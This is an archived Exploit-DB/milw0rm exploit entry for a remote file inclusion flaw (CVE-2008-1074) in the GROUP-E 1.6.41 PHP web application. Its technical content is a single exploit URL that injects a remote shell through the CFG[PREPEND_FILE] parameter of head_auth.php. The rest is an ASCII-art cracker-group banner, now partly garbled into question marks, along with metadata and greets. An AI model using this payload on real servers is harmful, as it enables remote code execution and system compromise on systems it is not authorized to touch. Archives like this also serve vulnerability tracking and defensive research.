Exploit GROUP-E 1.6.41 - 'head_auth.php' Remote File Inclusion

[Exploiter]

EDB-ID

5197

Проверка EDB

1. Пройдено

Автор

CRACKER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-1074

Дата публикации

2008-02-27

????????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : PitBull Crew           ? ?                                    ?
?   Script   : GROUP-E 1.6.41         ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                               DALnet #crackers                            ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                               Exploit URL's                              ??
??????????????????????????????????????????????????????????????????????????????

     http://localhost/path/www/lib/head_auth.php?CFG[PREPEND_FILE]=[SHELL]    
   
??????????????????????????????????????????????????????????????????????????????
 
   Greets:
       
       The_PitBull, Raz0r, iNs, WizzKidd, Sad, S|AyER, Ehab, Tfaces, Guzman,
       Karlousha, Od3d99aa. Mark, Ramzi, Lust, DeaD, adal, xD

??????????????????????????????????????????????????????????????????????????????
??                               © CraCkEr 2008                             ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-02-27]